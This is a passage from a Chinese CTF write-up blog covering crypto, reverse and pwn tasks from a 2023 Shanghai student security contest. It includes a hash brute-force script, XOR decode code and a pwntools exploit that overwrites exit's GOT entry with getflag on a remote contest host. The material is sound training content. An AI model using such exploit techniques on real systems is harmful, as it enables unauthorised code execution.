28c372a73cc57472fd1f0e8442115ee2ac53be83800eae6594b8aa9b4c7d48f6 398563820c257329e66a7fffe9e0ce512b54261378dbd329222a7729ca0484fc a36ac422a339e2b40596b5162b22f89d27a27dbbc8c7292c709a069673eb470b d35886043eee094a310136ae21c4c7af5bcd7c68e6a547cbd5069dd6baee1a63 
41a5f7781dc69308b187e24924e0a0a337cdcc36f06b736dd99810eda7bb867b 41a5f7781dc69308b187e24924e0a0a337cdcc36f06b736dd99810eda7bb867b a64cd974e0dbd6f6a289ebd2080ffb6e8ac47f794e02cde4db2239c42f63b6ba e813a50278e41a5ea532c95f99ab616d4ec1ffabad99e1c8fde23886bb600005 8d4bd8d58ddd11cea747d874e676582bb219b065b2989d96b566f0689a3aaff5 8d4bd8d58ddd11cea747d874e676582bb219b065b2989d96b566f0689a3aaff5 e477515e963dc46294e815f9b1887541d225f4b027a7129608302ba8d07faef2 e477515e963dc46294e815f9b1887541d225f4b027a7129608302ba8d07faef2 

UUID4 其实是以 - 划分的几段,8-4-4-4-12,直接分段爆破哈希 flag 就完事了

(但是比赛的时候喵喵整出来发现怎么 flag 不对,赛后和其他师傅对了一下,才发现有两段顺序搞错了,寄

最后八行对应 flag 五部分的编号 0 0 1 2 3 3 4 4

最后得到

0: flag{09806994 1: 5a04 2: 45ef 3: bde0 4:c69658755ca2}

拼起来即可

顺便丢个多进程的爆破脚本在这(

import hashlib
import string
from multiprocessing import Pool
from tqdm import *

l = ['55cfb0b1cf88f01fc9ed2956a02f90f9014d47ad303dbb52fe7d331ddea37d88',
     'b665a90585127215c576871b867e203e5a00107d11824d34ba2cb5f7c4fd9682',
     '4cac70a760893573e0e5e90f44547e9dc5a53a9f414d36bc24d2d6fd03970ec2',
     '28c372a73cc57472fd1f0e8442115ee2ac53be83800eae6594b8aa9b4c7d48f6',
     '398563820c257329e66a7fffe9e0ce512b54261378dbd329222a7729ca0484fc',
     'a36ac422a339e2b40596b5162b22f89d27a27dbbc8c7292c709a069673eb470b',
     'd35886043eee094a310136ae21c4c7af5bcd7c68e6a547cbd5069dd6baee1a63',
     '41a5f7781dc69308b187e24924e0a0a337cdcc36f06b736dd99810eda7bb867b',
     'a64cd974e0dbd6f6a289ebd2080ffb6e8ac47f794e02cde4db2239c42f63b6ba',
     'e813a50278e41a5ea532c95f99ab616d4ec1ffabad99e1c8fde23886bb600005',
     '8d4bd8d58ddd11cea747d874e676582bb219b065b2989d96b566f0689a3aaff5',
     'e477515e963dc46294e815f9b1887541d225f4b027a7129608302ba8d07faef2']


def hash(val):
    return hashlib.sha256(val.encode('utf-8')).hexdigest()


def func(i, j):
    print(i, j)
    for i in tqdm(key[i:j]):
        for j in string.digits+string.ascii_lowercase:
            for m in string.digits+string.ascii_lowercase:
                for n in string.digits+string.ascii_lowercase:
                    for o in string.digits+string.ascii_lowercase:
                        for p in string.digits+string.ascii_lowercase:
                            val1 = 'flag{09'+i+j+m+n+o+p
                            val2 = i+j+m+n+o+p+'755ca2}'
                            if hash(hash(val1)) in l:
                                print('val1 ->', val1)
                                return
                            if hash(hash(val2)) in l:
                                print('val2 ->', val2)
                                return


key = '123456789abcdefghijklmnopqrstuvwxyz'
p = Pool(12)
for i in range(0, len(key), len(key)//12):
    p.apply_async(func, args=(i, i+3,))
print(111111111)
p.close()
p.join()

Reverse

flag在哪?

key1='e4bdtRV02'
key2=[211, 56, 209, 211, 123, 173, 179, 102, 113, 58, 89, 95, 95, 45, 115, 0]
flag=[0]*16

for i in range(15):
    l = [10,9,8]
    t1 = l[i % 3]
    if i>=9:
        t2=key2[i]-0
    else:
        t2=key2[i]-ord(key1[i])
    flag[i]=t2^(t1+2)

key3=[
  102, 108,  97, 103, 123, 119, 104, 101, 114, 101, 
   32, 105, 115,  32, 116, 111, 109, 125,   0,   0, 
  102, 108,  97, 103, 123,  77, 121,  32,  99, 104, 
  101, 101, 115, 101, 125,   0, 102, 108,  97, 103, 
  123, 105,  32, 109, 105, 115, 115,  32, 116, 111, 
  109, 125,   0,   0,   0,   0, 102, 108,  97, 103, 
  123, 108, 101, 116,  39, 115,  32, 104,  97, 118, 
  101,  32,  97,  32, 102, 117, 110, 125,   0,   0, 
  102, 108,  97, 103, 123, 117,  32, 119,  97, 110, 
  116,  32, 115, 116, 101,  97, 108,  32, 109, 121, 
   32,  99, 104, 101, 101, 115, 101, 125,   0,   0, 
    0,   0, 102, 108,  97, 103, 123, 105,  32, 104, 
   97, 118, 101, 100,  32, 108, 111, 115, 116,  32, 
   97,  32,  99, 104, 101, 101, 115, 101, 125,   0, 
  102, 108,  97, 103, 123,  99, 104, 101, 101, 115, 
  101,  32, 105, 115,  32, 109, 121,  32, 108, 105, 
  102, 101, 125,   0, 102, 108,  97, 103, 123, 119, 
  104,  97, 116,  32, 100, 105, 100,  32, 121, 111, 
  117,  32, 104,  97, 118, 101,  32, 102, 111, 114, 
   32,  98, 114, 101,  97, 107, 102,  97, 115, 116, 
  125,   0,   0,   0, 102, 108,  97, 103, 123, 108, 
  101, 116,  39, 115,  32, 104,  97, 118, 101,  32, 
   97,  32, 100,  97, 110,  99, 105, 110, 103, 125, 
    0,   0, 102, 108,  97, 103, 123,  99,  97, 110, 
   32, 117,  32, 112, 108,  97, 121,  32, 116, 104, 
  101,  32, 112, 105,  97, 110, 111,  32, 102, 111, 
  114,  32, 109, 101, 125,   0,   0,   0, 102, 108, 
   97, 103, 123, 105,  32, 104,  97, 118, 101,  32, 
   97,  32, 103, 114, 101,  97, 116,  32, 100, 114, 
  101,  97, 109, 125,   0,   0, 102, 108,  97, 103, 
  123, 105,  32, 119,  97, 110, 116,  32, 103, 111, 
   32, 116, 111,  32, 116, 104, 101,  32,  83, 111, 
  117, 116, 104,  32,  80, 111, 108, 101, 125,   0, 
    0,   0, 102, 108,  97, 103, 123, 108, 101, 116, 
   39, 115,  32, 104,  97, 118, 101,  32,  97,  32, 
  102, 105, 103, 104, 116, 125,   0,   0,   0,   0, 
  102, 108,  97, 103, 123, 105,  39, 109,  32, 119, 
  111, 114, 107, 105, 110, 103,  32, 111, 110,  32, 
   97, 110,  32,  97, 110, 116, 105,  45,  72, 117, 
  108, 107,  32,  97, 114, 109, 111, 114,  32, 125, 
    0,   0,   0,   0, 102, 108,  97, 103, 123, 105, 
   32, 107, 110, 101, 119,  32, 116, 111, 109,  32, 
  119,  97, 115,  32, 103, 111, 105, 110, 103,  32, 
  116, 111,  32,  97, 116, 116,  97,  99, 107,  32, 
  109, 101,  32, 116, 111, 110, 105, 103, 104, 116, 
  125,   0, 102, 108,  97, 103, 123, 105,  39, 118, 
  101,  32,  97, 108, 114, 101,  97, 100, 121,  32, 
  102, 105, 103, 117, 114, 101, 100,  32, 111, 117, 
  116,  32, 119, 104,  97, 116,  32, 116, 111,  32, 
  100, 111, 125,   0,   0,   0, 102, 108,  97, 103, 
  123, 110, 111, 116,  32, 100, 114, 117, 110, 107, 
   32, 110, 111,  32, 114, 101, 116, 117, 114, 110, 
  125,   0,   0,   0, 102, 108,  97, 103, 123, 111, 
  104,  33,  33,  33,  33,  33,  33, 111, 104, 125, 
    0,   0,   0,   0, 102, 108,  97, 103, 123, 105, 
   32,  98, 101, 116,  32, 105, 116,  32, 119, 105, 
  108, 108,  32, 114,  97, 105, 110,  32, 116, 111, 
  109, 111, 114, 114, 111, 119, 125,   0,   0,   0, 
  102, 108,  97, 103, 123, 116, 111, 109,  32, 116, 
  111, 108, 100,  32, 109, 101,  32, 116, 104,  97, 
  116,  32, 104, 101,  32, 119,  97, 115,  32,  97, 
   99, 116, 117,  97, 108, 108, 121,  32,  97,  32, 
  116, 105, 103, 101, 114, 125,   0
]
for i in range(15):
    if i%3==1:
          flag[i] ^= key3[i*3]
    flag[i] ^= 4

print(''.join([chr(i) for i in flag]))
# flag{UUU123QWE}

ezEXE

分析发现为 RC4 加密

IDA 跳转到 0x0040179A,可以看到加密相关的信息

解密得到 flag

Pwn

changaddr

##将exit的got表修改为getflag
from pwn import *
from LibcSearcher import *

#context(os='linux', arch='amd64', log_level='debug')
pwnfile="./ChangeAddr"
elf=ELF(pwnfile)
context.log_level = 'debug'
context.arch = elf.arch

local = 0
if local:
    io = process(pwnfile)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('116.236.144.37',28340)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def debug(io=io):
    gdb.attach(io)
    pause()


def get_addr(io=io):
    return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def hexlog(name,content):
    print(name+" : ",hex(content))
    
exit_got=elf.got["exit"]
main_addr=elf.symbols["main"]
setvbuf_got=elf.got["setvbuf"]
getflag_addr=elf.symbols["getflag"]
hexlog("exit_got",exit_got)
hexlog("main",main_addr)
hexlog("setvbuf_got",setvbuf_got)
hexlog("getflag_addr",getflag_addr)

io.sendlineafter(b"you like to write?",hex(exit_got).encode())
io.sendlineafter(b"?",hex(getflag_addr).encode())

io.sendlineafter(b"a special segment fault!",hex(setvbuf_got).encode())
io.interactive()

小结

这比赛好卷啊!

而且还是放在 5.20 这天来打,可恶啊!!!!

然而这天喵喵没有人一起贴贴,哭了(

这比赛后面两天还有漏洞挖掘的渗透靶场,于是连着打了三天,累累,呜呜(

漏洞挖掘比赛 / 靶场渗透 的部分详见下一篇 writeup:

Pentest | 2023 第八届上海市大学生网络安全大赛 / 磐石行动 漏洞挖掘 Walkthrough

说来这应该是喵喵最后一次打上海市赛了吧(

官方 writeup 也出来了:

第八届上海市大学生网络安全大赛暨“磐石行动”2023(首届)大学生网络安全邀请赛–CTF赛 官方WP

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
 上一篇
Pentest | 2023 第八届上海市大学生网络安全大赛 / 磐石行动 漏洞挖掘 Walkthrough Pentest | 2023 第八届上海市大学生网络安全大赛 / 磐石行动 漏洞挖掘 Walkthrough
今年的上海市赛新加了漏洞挖掘环节,实际上是给了四套自带内网的靶场让选手打渗透,两天打下来感觉还是挺坑的,这篇博客就来记录下渗透挖洞的过程吧。
2023-05-30
下一篇 
CTF | 2023 阿里云CTF / AliyunCTF WriteUp CTF | 2023 阿里云CTF / AliyunCTF WriteUp
这比赛好难啊,大概花了点时间瞄了几眼题目,卡住的题目赛后又来复现了一下,这里记录一下writeup喵。
2023-04-25
  目录